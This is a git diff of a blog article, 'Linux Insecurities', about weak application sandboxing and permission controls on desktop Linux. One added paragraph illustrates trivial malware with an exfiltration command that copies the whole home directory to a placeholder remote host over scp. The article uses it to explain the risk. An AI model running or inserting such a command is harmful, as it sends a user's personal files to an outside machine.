diff --git a/content/os/Linux Insecurities.md b/content/os/Linux Insecurities.md
index 72d9f2d..f817724 100644
--- a/content/os/Linux Insecurities.md	
+++ b/content/os/Linux Insecurities.md	
@@ -1,6 +1,6 @@
 ---
 title: "Linux Insecurities"
-date: 2022-07-18
+date: 2022-08-15
 tags: ['Operating Systems', 'Linux', 'Security',]
 author: Tommy
 ---
@@ -35,7 +35,7 @@ On Linux, there is no such clear distinction between the system and user install
 
 Operating systems like Android and ChromeOS have full system mandatory access control, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs.
 
-Even on macOS, where the application sandbox is opt-in for developers, there is still a system wide permission control for unprivileged application. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on.
+Even on macOS, where the application sandbox is opt-in for developers, there is still a permission control system (TCC) for unprivileged application. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on.
 
 On Linux, it is quite the opposite. Out of the box, most systems only have a few system daemons confined. Some Linux distributions don't even have a Mandatory Access Control system at all. Applications are designed in an environment where they expect to be able to do whatever they want, and the app sandboxes/mandatory access control system are merely an afterthought trying to restrict an app to only access what it expects to be accessible. 
 
@@ -44,3 +44,15 @@ This is reflected in the under utilization of the [Portals API](https://docs.fla
 To make matters worse, some system daemons are not designed with permission control in mind at all. For example, PulseAudio does not have any concept of audio in or out permission. Thus, the user is often left with only the choice of granting an app access to the socket or not. If they want to block microphone access, they have to block access to the socket, and thus break audio playback in the process. If they do want an audio playback, then they have to allow access to the PulseAudio socket, which in turns give an app unrestricted access to record them at any moment.
 
 The only way to systematically fix this problem is to design a whole new system from scratch with a permission model like that of Android in mind. And even when that happens, it will take substantial work to get developers to develop their apps for said system.
+
+## But Linux is open source!
+
+Something being open source does not imply that it is inherently private, secure, or trustworthy. I recommend reading the [FLOSS Security](/knowledge/floss-security) post by [Rohan Kumar](https://seirdy.one/posts/2022/02/02/floss-security/).
+
+## But there is less malware on Linux!
+
+**Secuity by irrelevance does not work**. Just because there are fewer users of your favorite operating system does not make it any safer. 
+
+Ask yourself this: Would you ditch Windows for ReactOS considering that it is a lot less popular and is less targetted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?
+
+Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing `scp -r ~/ malware@xx.xx.xx.xx:/data`. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.
\ No newline at end of file